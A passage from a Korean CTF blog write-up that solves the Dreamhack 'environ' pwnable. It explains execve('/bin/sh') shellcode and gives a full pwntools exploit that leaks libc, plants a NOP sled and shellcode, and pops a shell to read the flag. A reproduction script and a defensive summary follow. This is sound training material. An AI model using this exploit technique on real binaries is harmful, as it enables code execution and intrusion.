์•ž์˜ ๋ง‰๋‹ค๋ฅธ ๊ธธ 2์™€ ๊ฐ™์€ ํ™”๋ฉด์„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ฐ์€ ๊ฒƒ์ด๋ผ, ์ฐ๋งค ํ•˜๋‚˜ ๋„ฃ๊ณ  ๋บ€ ์ฐจ์ด๊ฐ€ ๊ทธ๋Œ€๋กœ ๋“œ๋Ÿฌ๋‚œ๋‹ค.


๐Ÿง  ์Šคํƒ ์œ„์—์„œ ๋„๋Š” 48๋ฐ”์ดํŠธ

์ฐ๋งค ๋์— ๋ถ™์ธ ์…ธ์ฝ”๋“œ๋Š” pwntools ๊ฐ€ ๋ฝ‘์•„ ์ค€ ๊ฒƒ์„ ๊ทธ๋Œ€๋กœ ์ผ๋‹ค. ์–ด๋–ค ์ฝ”๋“œ์ธ์ง€๋Š” ์•Œ๊ณ  ์“ฐ๋Š” ๊ฒŒ ๋‚ซ๋‹ค.

from pwn import asm, context, disasm, shellcraft
 
context.arch = "amd64"
print(shellcraft.amd64.linux.sh())
print(disasm(asm(shellcraft.amd64.linux.sh())))
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi
    push rsi
    push 8
    pop rsi
    add rsi, rsp
    push rsi
    mov rsi, rsp
    xor edx, edx
    push SYS_execve /* 0x3b */
    pop rax
    syscall

0x732f2f2f6e69622f ์€ ๋ฆฌํ‹€์—”๋””์–ธ์œผ๋กœ ์ฝ์œผ๋ฉด /bin///s ๋‹ค. ์•ž์„œ push 0x68 ์ด h ์™€ ๋„ 7๋ฐ”์ดํŠธ๋ฅผ ์˜ฌ๋ ค ๋’€์œผ๋‹ˆ ๋‘ push ๋ฅผ ํ•ฉ์น˜๋ฉด /bin///sh ๋ฌธ์ž์—ด์ด ์Šคํƒ์— ์™„์„ฑ๋˜๊ณ , rdi ๊ฐ€ ๊ทธ ์‹œ์ž‘์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค. ์Šฌ๋ž˜์‹œ๋ฅผ ์„ธ ๊ฐœ ๊ฒน์นœ ๊ฑด 8๋ฐ”์ดํŠธ ์ •๋ ฌ์„ ๋งž์ถ”๋ ค๋Š” ๊ฒƒ๋ฟ์ด๊ณ  ๊ฒฝ๋กœ ์˜๋ฏธ๋Š” /bin/sh ์™€ ๊ฐ™๋‹ค.

argv ๋„ ๊ฐ™์€ ์‹์œผ๋กœ ๋งŒ๋“ ๋‹ค. sh\0 ์„ XOR ๋กœ ๋„ ์—†์ด ๋ฐ€์–ด ๋„ฃ๊ณ , ๊ทธ ์ฃผ์†Œ๋ฅผ ๋‹ด์€ ํฌ์ธํ„ฐ ๋ฐฐ์—ด์„ ์Šคํƒ์— ์˜ฌ๋ ค rsi ๋กœ ์žก๋Š”๋‹ค. rdx ๋Š” 0 ์ด๋‹ˆ envp ๋Š” ๋น„์šด ์ฑ„๋กœ execve ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

   0:   6a 68                   push   0x68
   2:   48 b8 2f 62 69 6e 2f 2f 2f 73   movabs rax, 0x732f2f2f6e69622f
   c:   50                      push   rax
   d:   48 89 e7                mov    rdi, rsp
  10:   68 72 69 01 01          push   0x1016972
  15:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
  1c:   31 f6                   xor    esi, esi
  1e:   56                      push   rsi
  1f:   6a 08                   push   0x8
  21:   5e                      pop    rsi
  22:   48 01 e6                add    rsi, rsp
  25:   56                      push   rsi
  26:   48 89 e6                mov    rsi, rsp
  29:   31 d2                   xor    edx, edx
  2b:   6a 3b                   push   0x3b
  2d:   58                      pop    rax
  2e:   0f 05                   syscall

๊ธฐ๊ณ„์–ด์— ๋„๋ฐ”์ดํŠธ๊ฐ€ ํ•˜๋‚˜๋„ ์—†๋‹ค. ์ด ๋ฌธ์ œ๋Š” read ๋กœ ๋ฐ›์œผ๋‹ˆ ๋„์ด ์žˆ์–ด๋„ ์ƒ๊ด€์—†์ง€๋งŒ ๊ธฐ๋ณธ๊ฐ’์ด ๊ทธ๋ ‡๊ฒŒ ๋‚˜์˜จ๋‹ค.

์—ฌ๊ธฐ์„œ ํ•œ ๊ฐ€์ง€ ๊ฑธ๋ฆด ๋งŒํ•œ ๊ฒŒ ์žˆ๋‹ค. ์…ธ์ฝ”๋“œ๊ฐ€ push ๋ฅผ ์—ฌ๋Ÿฌ ๋ฒˆ ํ•˜๋Š”๋ฐ, ๊ทธ๊ฒŒ ๋ฐฉ๊ธˆ ๊น”์•„ ๋‘” ์ฐ๋งค๋ฅผ ๋ฐŸ์ง€ ์•Š์„๊นŒ. ์•ˆ ๋ฐŸ๋Š”๋‹ค. main ์€ sub rsp,0x40 ์œผ๋กœ ํ”„๋ ˆ์ž„์„ ์žก์•˜์œผ๋‹ˆ rsp ๋Š” rbp-0x40 ์ด๊ณ , buf ๋Š” rbp-0x20 ์ด๋‹ค. push ๋Š” rsp ๋ฅผ ๋” ๋‚ฎ์ถ”๋Š” ๋ฐฉํ–ฅ์ด๋ผ buf ๋ณด๋‹ค ์•„๋ž˜๋กœ๋งŒ ์ž๋ž€๋‹ค. ์ฐ๋งค์™€ ์…ธ์ฝ”๋“œ๋Š” buf ์œ„์ชฝ 500๋ฐ”์ดํŠธ ๋„˜๊ฒŒ ๋ป—์–ด ์žˆ์œผ๋‹ˆ ์„œ๋กœ ์•ˆ ๋งŒ๋‚œ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ initialize() ์˜ alarm(60) ์ด ์žˆ๋‹ค. 60์ดˆ ์•ˆ์— ์…ธ์„ ์žก๊ณ  flag ๋ฅผ ์ฝ์–ด์•ผ ํ•˜๋Š”๋ฐ, ์ต์Šค๊ฐ€ ์™•๋ณต ์„ธ ๋ฒˆ์ด๋ฉด ๋๋‚˜๋‹ˆ ์—ฌ์œ ๋กญ๋‹ค. ๋‹ค๋งŒ ์…ธ์„ ์žก์€ ๋’ค ์†์œผ๋กœ ํƒ์ƒ‰ํ•˜๋‹ค ๋ณด๋ฉด ๊ฑธ๋ฆฐ๋‹ค. solve.py ๊ฐ€ cat flag ๊นŒ์ง€ ์ž๋™์œผ๋กœ ๋ณด๋‚ด๋Š” ์ด์œ ๋‹ค.



๐Ÿš€ Full Exploit

๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ๋Š” ์œ ์ถœ์„ ํ•ด์•ผ ํ•˜๋‹ˆ gdb ๋•Œ์™€ ๋‹ฌ๋ฆฌ value ๋ฅผ ๋Ÿฐํƒ€์ž„์— ๊ณ„์‚ฐํ•œ๋‹ค. ํ๋ฆ„์€ ์„ธ ์ค„์ด๋‹ค. ์œ ์ถœ๋กœ ๋ฒ ์ด์Šค๋ฅผ ์žก๊ณ , ์ฐ๋งค์™€ ์…ธ์ฝ”๋“œ๋ฅผ ๋ฐ€์–ด ๋„ฃ๊ณ , libc + environ ์„ ๋˜์ง„๋‹ค.

#!/usr/bin/env python3
"""
environ (Dreamhack wargame id=31, Bronze 2 / pwnable)
 
  printf("stdout: %p")  ->  libc ๋ฒ ์ด์Šค ์œ ์ถœ
  scanf("%ld", &size)   ->  read ๊ธธ์ด๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ์ •ํ•จ
  read(0, buf, size)    ->  buf[16] ์œ„์ชฝ์œผ๋กœ ์Šคํƒ ์ „์ฒด๋ฅผ ๋ฎ์–ด์”€
  jump = *(long*)value; jump();
                        ->  ์ž„์˜ ์ฃผ์†Œ 8๋ฐ”์ดํŠธ๋ฅผ ์ฝ์–ด ๊ทธ ๊ฐ’์œผ๋กœ call
 
value ์— libc ์˜ environ ์„ ๋„ฃ์œผ๋ฉด jump ๋Š” &envp[0](์Šคํƒ ์ฃผ์†Œ)๊ฐ€ ๋œ๋‹ค.
NX ๊ฐ€ ์—†์–ด ์Šคํƒ์ด ์‹คํ–‰ ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ, ๊ทธ ์ง€์ ์„ ๋ฏธ๋ฆฌ NOP ์ฐ๋งค๋กœ ๋ฎ์–ด ๋‘๋ฉด
call ์ด ์ฐ๋งค๋ฅผ ํƒ€๊ณ  ๋‚ด๋ ค์™€ ๋’ค์— ๋ถ™์ธ execve("/bin/sh") ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.
 
์‚ฌ์šฉ๋ฒ•:
    python3 solve.py                        # ๋กœ์ปฌ ๋„์ปค(127.0.0.1:31337)
    python3 solve.py host3.dreamhack.games:14523
"""
import re
import sys
 
from pwn import ELF, asm, context, log, remote, shellcraft
 
context.arch = "amd64"
context.log_level = "info"
 
# ์ œ๊ณต๋œ libc.so.6 = Ubuntu GLIBC 2.23-0ubuntu11 (Ubuntu 16.04)
STDOUT_OFF = 0x3C5620   # _IO_2_1_stdout_
ENVIRON_OFF = 0x3C6F38  # environ
 
# main: buf ๋Š” rbp-0x20. gdb ๋กœ ์‹ค์ธกํ•œ buf โ†’ environ ์ด ๊ฐ€๋ฆฌํ‚ค๋Š” &envp[0] ๊ฑฐ๋ฆฌ
BUF2ENVP = 0x118        # 280 ๋ฐ”์ดํŠธ
SLED = BUF2ENVP + 0x100  # ์ฐฉ์ง€์  ์•ž๋’ค๋กœ ์—ฌ์œ ๋ฅผ ๋‘” NOP ์ฐ๋งค
 
 
def parse_target(argv):
    if len(argv) < 2:
        return "127.0.0.1", 31337
    tgt = argv[1].replace("http://", "").replace("https://", "").rstrip("/")
    host, _, port = tgt.partition(":")
    return host, int(port)
 
 
def main():
    host, port = parse_target(sys.argv)
 
    shellcode = asm(shellcraft.amd64.linux.sh())
    log.info("shellcode %d bytes", len(shellcode))
 
    p = remote(host, port)
 
    # 1) libc ๋ฒ ์ด์Šค ์œ ์ถœ โ€” bss ์˜ stdout ํฌ์ธํ„ฐ๊ฐ€ ๊ณง _IO_2_1_stdout_ ์˜ ์ฃผ์†Œ
    p.recvuntil(b"stdout: ")
    leak = int(p.recvline().strip(), 16)
    libc_base = leak - STDOUT_OFF
    environ_sym = libc_base + ENVIRON_OFF
    log.success("stdout   = %#x", leak)
    log.success("libc base= %#x", libc_base)
    log.success("&environ = %#x", environ_sym)
 
    # 2) buf ๋ถ€ํ„ฐ &envp[0] ๋„ˆ๋จธ๊นŒ์ง€ NOP ์ฐ๋งค + ์…ธ์ฝ”๋“œ๋กœ ๋ฎ๋Š”๋‹ค
    payload = b"\x90" * SLED + shellcode
    p.sendlineafter(b"Size: ", str(len(payload)).encode())
    p.sendafter(b"Data: ", payload)
 
    # 3) jump = *(long*)&environ = &envp[0] โ†’ ์ฐ๋งค ์ฐฉ์ง€ โ†’ ์…ธ
    p.sendlineafter(b"*jmp=", str(environ_sym).encode())
 
    p.sendline(b"echo SHELL_OK; cat flag")
    out = p.recvrepeat(3)
    sys.stdout.write(out.decode(errors="replace"))
 
    m = re.search(rb"DH\{[^}\n]*\}", out)
    if m:
        log.success("FLAG: %s", m.group().decode())
    else:
        log.failure("flag ๋ฅผ ๋ชป ์ฐพ์Œ")
    p.close()
 
 
if __name__ == "__main__":
    main()

sendlineafter(b"Size: ", ...) ๋กœ ๊ธธ์ด๋ฅผ ๋ณด๋‚ด๊ณ , sendafter(b"Data: ", payload) ๋Š” ๊ฐœํ–‰์„ ์•ˆ ๋ถ™์ธ๋‹ค. ๊ฐœํ–‰์ด ๋ถ™์œผ๋ฉด ํŽ˜์ด๋กœ๋“œ๊ฐ€ 1๋ฐ”์ดํŠธ ๊ธธ์–ด์งˆ ๋ฟ์ด์ง€๋งŒ ๊ตณ์ด ๋ถ™์ผ ์ด์œ ๊ฐ€ ์—†๋‹ค.

value ๋Š” scanf("%ld") ๋กœ ์ฝํžˆ๋‹ˆ 10์ง„์ˆ˜ ๋ฌธ์ž์—ด๋กœ ๋ณด๋‚ธ๋‹ค. libc + 0x3c6f38 ์€ 0x7f... ๋Œ€์—ญ์ด๋ผ ๋ถ€ํ˜ธ ์žˆ๋Š” 64๋น„ํŠธ์— ๋“ค์–ด๊ฐ„๋‹ค.

๋จผ์ € ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ์— ์ˆ๋‹ค.

python3 solve.py 127.0.0.1:31337
solve.py ๋กœ์ปฌ ์‹คํ–‰ โ€” ์…ธ์ด ์žกํ˜€ SHELL_OK ์™€ ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ flag ๊ฐ€ ๋Œ์•„์˜จ๋‹ค
solve.py ๋กœ์ปฌ ์‹คํ–‰ โ€” ์…ธ์ด ์žกํ˜€ SHELL_OK ์™€ ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ flag ๊ฐ€ ๋Œ์•„์˜จ๋‹ค

SHELL_OK ๊ฐ€ ๋Œ์•„์˜ค๊ณ  ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ flag ๊ฐ€ ๋‚˜์˜จ๋‹ค. ์…ธ์ด ์žกํžŒ๋‹ค๋Š” ๊ฒƒ๊นŒ์ง€ ํ™•์ธํ–ˆ์œผ๋‹ˆ ์ด์ œ ๋ผ์ด๋ธŒ๋กœ ๊ฐ„๋‹ค.

python3 solve.py host3.dreamhack.games:18193
solve.py ๋ผ์ด๋ธŒ ์‹คํ–‰ โ€” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์…ธ์„ ์žก๊ณ  flag ํŒŒ์ผ์„ ์ฝ์–ด ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ•œ๋‹ค
solve.py ๋ผ์ด๋ธŒ ์‹คํ–‰ โ€” ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์…ธ์„ ์žก๊ณ  flag ํŒŒ์ผ์„ ์ฝ์–ด ์ง„์งœ ํ”Œ๋ž˜๊ทธ๋ฅผ ํšŒ์ˆ˜ํ•œ๋‹ค

ํ•œ ๋ฒˆ์— ๋ถ™์—ˆ๋‹ค. ๋กœ์ปฌ์—์„œ ์žฐ 0x118 ์ด ์›๊ฒฉ์—์„œ๋„ ๊ทธ๋Œ€๋กœ ๋งž์•˜๋‹ค.

DH{209478d89c920b8dfe2dee61f9bc1dcc}

๐Ÿงพ ์žฌํ˜„

๋ฌธ์ œ ํด๋”๋งŒ ์žˆ์œผ๋ฉด flag ํ™•์ธ๊นŒ์ง€ ํ•œ ๋ฒˆ์— ๋Œ์•„๊ฐ€๊ฒŒ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‚จ๊ฒจ ๋’€๋‹ค.

#!/usr/bin/env bash
# environ (Dreamhack wargame id=31, Bronze 2) โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                              ๋กœ์ปฌ ubuntu:16.04 ์ปจํ…Œ์ด๋„ˆ์—์„œ ์ต์Šค ๋™์ž‘ ๊ฒ€์ฆ
#   ./reproduce.sh host3.dreamhack.games:PORT   ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—์„œ ์ง„์งœ flag
#
# โš ๏ธ ์ธ์ž ์—†์ด ๋Œ๋ฆฌ๋ฉด ๋‚˜์˜ค๋Š” flag ๋Š” ์ปจํ…Œ์ด๋„ˆ์— ์‹ฌ์–ด ๋‘” ๋”๋ฏธ๋‹ค.
#    "์ต์Šค๊ฐ€ ์‹ค์ œ๋กœ ์…ธ์„ ์žก๋Š”๋‹ค"๊นŒ์ง€๋งŒ ์ฆ๋ช…ํ•œ๋‹ค. ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„๊ฐ€ ์žˆ์–ด์•ผ ํ•œ๋‹ค.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
TARGET="${1:-}"
EXPECT=$(python3 -c "import json;print(json.load(open('๋ฌธ์ œ.json'))['flag'])" 2>/dev/null || echo '')
 
if [ -z "$TARGET" ]; then
  echo "[*] ๋กœ์ปฌ ์žฌํ˜„ โ€” ubuntu:16.04 + ๋ฐฐํฌ libc ๋กœ socat ์„œ๋น„์Šค๋ฅผ ๋„์šด๋‹ค"
  docker build -q -t environ31:local work/ >/dev/null
  docker rm -f environ31_repro >/dev/null 2>&1 || true
  docker run -d --rm --name environ31_repro -p 31337:31337 environ31:local >/dev/null
  trap 'docker rm -f environ31_repro >/dev/null 2>&1 || true' EXIT
  sleep 2
  TARGET=127.0.0.1:31337
  EXPECT='DH{LOCAL_DUMMY_FLAG_NOT_REAL}'
  echo "[!] ๋กœ์ปฌ flag ๋Š” ๋”๋ฏธ๋‹ค โ€” ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ์ค˜์•ผ ํ•œ๋‹ค."
fi
 
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT" | tail -8
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "โœ… PASS  $FLAG"; exit 0
fi
echo; echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}' / ๊ธฐ๋Œ€: '$EXPECT')"; exit 1

์ธ์ž๋ฅผ ์•ˆ ์ฃผ๋ฉด ๋กœ์ปฌ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ๋„์›Œ ์ต์Šค ๋™์ž‘๋งŒ ๊ฒ€์ฆํ•œ๋‹ค. ์ด๋•Œ ๋‚˜์˜ค๋Š” flag ๋Š” Dockerfile ์— ์‹ฌ์€ ๋”๋ฏธ๋ผ ์ง„์งœ๊ฐ€ ์•„๋‹ˆ๋‹ค. ์ง„์งœ flag ๋Š” ๋ผ์ด๋ธŒ ์„œ๋ฒ„ ์ฃผ์†Œ๋ฅผ ์ธ์ž๋กœ ๋„˜๊ฒจ์•ผ ๋‚˜์˜จ๋‹ค.

์„ฑ๊ณต/์‹คํŒจ๋Š” ์ด๋ ‡๊ฒŒ ์ฝ๋Š”๋‹ค.

ํ™”๋ฉด๋œป
stdout = 0x7f... ๊ฐ€ ์•ˆ ์ฐํž˜์„œ๋ฒ„ ์—ฐ๊ฒฐ์ด ์•ˆ ๋๊ฑฐ๋‚˜ ํฌํŠธ๊ฐ€ ๋งŒ๋ฃŒ๋๋‹ค
SHELL_OK ์—†์ด ๋ฐ”๋กœ ์ข…๋ฃŒ์ฐฉ์ง€์ ์„ ๋ชป ๋ฎ์—ˆ๋‹ค. BUF2ENVP ๋ฅผ ๋‹ค์‹œ ์žฌ์•ผ ํ•œ๋‹ค
SHELL_OK ๋Š” ๋‚˜์˜ค๋Š”๋ฐ flag ๊ฐ€ ๋นˆ ์ค„์…ธ์€ ์žกํ˜”๊ณ  flag ํŒŒ์ผ ๊ฒฝ๋กœ๋งŒ ๋‹ค๋ฅด๋‹ค. ls -al ๋กœ ํ™•์ธ
โœ… PASS๋

libc ๊ฐ€ ๋‹ค๋ฅธ ํ™˜๊ฒฝ(๋‹ค๋ฅธ Ubuntu ๋ฒ„์ „)์œผ๋กœ ์žฌํ˜„ํ•  ๊ฑฐ๋ผ๋ฉด offsets.py ๋กœ _IO_2_1_stdout_ ๊ณผ environ ์˜คํ”„์…‹์„ ๋‹ค์‹œ ๋ฝ‘๊ณ , measure.gdb ๋กœ ๊ฑฐ๋ฆฌ๋„ ๋‹ค์‹œ ์žฌ์•ผ ํ•œ๋‹ค. ์ด ๋‘ ๊ฐ’์ด ์ด ์ต์Šค์˜ ์ „๋ถ€๋‹ค.



๐Ÿ“ ๊ฒฐ๋ก 

์›์‹œ์˜ ๊ฒน์ˆ˜๋ฅผ ๋จผ์ € ์„ธ๋ผ

jump = *(long *)value; jump(); ๋Š” ์ž„์˜ ํ˜ธ์ถœ์ฒ˜๋Ÿผ ๋ณด์ด์ง€๋งŒ ์‹ค์€ ์ž„์˜ ์ฝ๊ธฐ ํ•œ ๊ฒน์ด ์•ž์— ๋ถ™์–ด ์žˆ๋‹ค. ์ด ํ•œ ๊ฒน ๋•Œ๋ฌธ์— "libc ๋ฒ ์ด์Šค ์•Œ๋ฉด one_gadget"์ด๋ผ๋Š” ์ต์ˆ™ํ•œ ์ˆ˜์ˆœ์ด ํ†ต์งธ๋กœ ๋ง‰ํžŒ๋‹ค. ์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฑด ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋ผ ์ฃผ์†Œ๊ฐ€ ๋“ค์–ด ์žˆ๋Š” ์นธ์ด๊ณ , ๊ทธ๋Ÿฐ ์นธ์ด ๋ช‡ ๊ฐœ ์—†๋‹ค๋Š” ๊ฒŒ ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค.

environ ์€ ์Šคํƒ์œผ๋กœ ๊ฐ€๋Š” ์œ ์ผํ•œ ํ‘œ์ค€ ํ†ต๋กœ๋‹ค

libc ์•ˆ์—์„œ ์Šคํƒ์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ „์—ญ ํฌ์ธํ„ฐ๋Š” ์‚ฌ์‹ค์ƒ environ ๋ฟ์ด๋‹ค. ๋ณดํ†ต์€ ๊ฐ’์„ ์ฝ์–ด ์Šคํƒ ์ฃผ์†Œ๋ฅผ ๊ตฌํ•˜๋Š” ๋ฐ ์“ฐ๋Š”๋ฐ, ์ด ๋ฌธ์ œ์ฒ˜๋Ÿผ ๊ฐ’์„ ๋ชป ๋ณผ ๋•Œ๋„ "๊ฑฐ๊ธฐ๊ฐ€ ์Šคํƒ ์–ด๋”˜๊ฐ€"๋ผ๋Š” ์‚ฌ์‹ค๋งŒ์œผ๋กœ ์“ธ ์ˆ˜ ์žˆ๋‹ค. ์ ˆ๋Œ€ ์ฃผ์†Œ ๋Œ€์‹  ์ƒ๋Œ€ ๊ฑฐ๋ฆฌ๋ฅผ ์žฌ๋Š” ์ชฝ์œผ๋กœ ๊ด€์ ์„ ๋ฐ”๊พธ๋ฉด ์œ ์ถœ ์—†์ด๋„ ์ฐฉ์ง€๊ฐ€ ๋œ๋‹ค.

์ƒ์ˆ˜๋กœ ๋ฐ•๊ธฐ ์ „์— ๊ทธ ์ƒ์ˆ˜๊ฐ€ ์™œ ์ƒ์ˆ˜์ธ์ง€ ํ™•์ธํ•œ๋‹ค

0x118 ์„ ํ•œ ๋ฒˆ ์žฌ๊ณ  ๊ทธ๋ƒฅ ์ผ๋‹ค๋ฉด ์šด์— ๋งก๊ธด ์…ˆ์ด ๋œ๋‹ค. ํ™˜๊ฒฝ๋ณ€์ˆ˜ ํฌ๊ธฐ๋ฅผ ๋ฐ”๊ฟ” ๊ฐ€๋ฉฐ ๋„ค ๋ฒˆ ์žฌ ๋ณด๋‹ˆ ์ ˆ๋Œ€ ์ฃผ์†Œ๋Š” 4KB ๋„˜๊ฒŒ ์›€์ง์ด๋Š”๋ฐ ๊ฑฐ๋ฆฌ๋Š” ๋ฏธ๋™๋„ ์—†์—ˆ๋‹ค. ์ด๊ฒŒ ํ™•์ธ๋˜๊ณ  ๋‚˜์„œ์•ผ ์›๊ฒฉ์— ํ•œ ๋ฒˆ๋งŒ ๋ถ™์–ด๋„ ๋˜๊ฒ ๋‹ค๋Š” ํŒ๋‹จ์ด ์„ฐ๋‹ค. ์—ฌ์œ ๋ถ„ 0x100 ์€ ๊ทธ๋Ÿผ์—๋„ ๋‚จ๊ฒจ ๋‘” ๋ณดํ—˜์ด๋‹ค.

๋ฐฉ์–ด ์ชฝ์—์„œ ๋ณด๋ฉด

์ด ๋ฌธ์ œ๋Š” ์ทจ์•ฝ์  ํ•œ ๊ฐœ๊ฐ€ ์•„๋‹ˆ๋ผ ๋„ค ๊ฐœ๊ฐ€ ๊ฒน์ณ์•ผ ์„ฑ๋ฆฝํ•œ๋‹ค. ๊ธธ์ด๋ฅผ ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š” read, ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๊ทธ๋Œ€๋กœ ์—ญ์ฐธ์กฐํ•˜๋Š” ํฌ์ธํ„ฐ, ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์Šคํƒ, ๊ทธ๋ฆฌ๊ณ  ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฑ‰๋Š” ๋””๋ฒ„๊ทธ์šฉ printf.

๋„ท ์ค‘ ํ•˜๋‚˜๋งŒ ๋Š์–ด๋„ ์ด ๊ฒฝ๋กœ๋Š” ์ฃฝ๋Š”๋‹ค. read ๊ธธ์ด๋ฅผ sizeof(buf) ๋กœ ๋ฌถ์œผ๋ฉด ์ฐฉ์ง€์ ๊นŒ์ง€ ๋ชป ๊ฐ„๋‹ค. NX ๋งŒ ์ผœ์ ธ ์žˆ์–ด๋„(์š”์ฆ˜ ํˆด์ฒด์ธ์˜ ๊ธฐ๋ณธ๊ฐ’์ด๋‹ค) ์Šคํƒ์— ์˜ฌ๋ฆฐ ๋ฐ”์ดํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š์•„ SIGSEGV ๋กœ ๋๋‚œ๋‹ค. %p ๋กœ ํฌ์ธํ„ฐ๋ฅผ ์ฐ๋Š” ์Šต๊ด€์ด ์—†์—ˆ๋‹ค๋ฉด libc ๋ฒ ์ด์Šค๋ถ€ํ„ฐ ๋ง‰ํžŒ๋‹ค.

ํŠนํžˆ ๋งˆ์ง€๋ง‰ ๊ฒƒ์€ ์‹ค์ œ ์ฝ”๋“œ์—์„œ๋„ ํ”ํ•˜๋‹ค. ๋””๋ฒ„๊น…ํ•˜๋ ค๊ณ  ๋„ฃ์€ ์ฃผ์†Œ ์ถœ๋ ฅ ํ•œ ์ค„์ด ASLR ์„ ํ†ต์งธ๋กœ ๋ฌด๋ ฅํ™”ํ•œ๋‹ค. ๋กœ๊ทธ์— ํฌ์ธํ„ฐ๋ฅผ ์ฐ๋Š” ์ฝ”๋“œ๋Š” ๋ฆด๋ฆฌ์Šค ์ „์— ์ง€์šฐ๋Š” ๊ฒŒ ๋งž๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 4] ์„œ๋ฒ„๊ฐ€ ์•„๋‹ˆ๋ผ ๋‚ด ์ฝ”๋“œ๊ฐ€ ์ฃฝ์–ด์žˆ์—ˆ๋‹ค โ€” DreamHack __environ ํ’€์ด
blog

[๐Ÿฅˆ Silver 4] ์„œ๋ฒ„๊ฐ€ ์•„๋‹ˆ๋ผ ๋‚ด ์ฝ”๋“œ๊ฐ€ ์ฃฝ์–ด์žˆ์—ˆ๋‹ค โ€” DreamHack __environ ํ’€์ด

Full RELROยทPIEยท์Šคํƒ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ „๋ถ€ ์ผœ์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์ฃผ์–ด์ง„ ๊ฑด ์ž„์˜ ์ฃผ์†Œ๋ฅผ ๋ฌธ์ž์—ด๋กœ ์ฝ์–ด์ฃผ๋Š” ์˜ค๋ผํด ํ•˜๋‚˜๋ฟ์ด๋‹ค. libc ์ฃผ์†Œ๋ฅผ ์ƒˆ๊ณ , ๊ทธ ์•ˆ์˜ environ ์‹ฌ๋ณผ์„ ๋‹ค์‹œ ๊ฐ™์€ ์˜ค๋ผํด๋กœ ์ฝ์–ด ์Šคํƒ ์ฃผ์†Œ๊นŒ์ง€ ์–ป์–ด๋‚ด๋Š” ์›๋ฆฌ ์ž์ฒด๋Š” ๊ธˆ๋ฐฉ ์„ธ์› ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์ต์Šคํ”Œ๋กœ์ž‡์„ ๋Œ๋ฆฌ๋ฉด ๋‘ ๋ฒˆ์งธ leak๋งˆ๋‹ค ์„œ๋ฒ„๊ฐ€ ์ฃฝ์€ ๊ฒƒ์ฒ˜๋Ÿผ ์—ฐ๊ฒฐ์ด ๋Š๊ฒผ๋‹ค โ€” ๋ฒ”์ธ์€ ์„œ๋ฒ„๊ฐ€ ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ ์ง  ํŒŒ์ด์ฌ ์ฝ”๋“œ์˜ ํ”„๋กœํ† ์ฝœ ์ƒํƒœ ๊ด€๋ฆฌ์˜€๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-20#dreamhack +5
[๐Ÿฅ‰ Bronze 2] MOV ๊ณ„์—ด 30๋ฐ”์ดํŠธ๊ฐ€ ํ†ต์งธ๋กœ ๋ง‰ํžŒ ์…ธ์ฝ”๋“œ โ€” PUSH/POP ์œผ๋กœ ์ƒ์ˆ˜๋ฅผ ๋งŒ๋“ ๋‹ค โ€” DreamHack No mov ํ’€์ด
blog

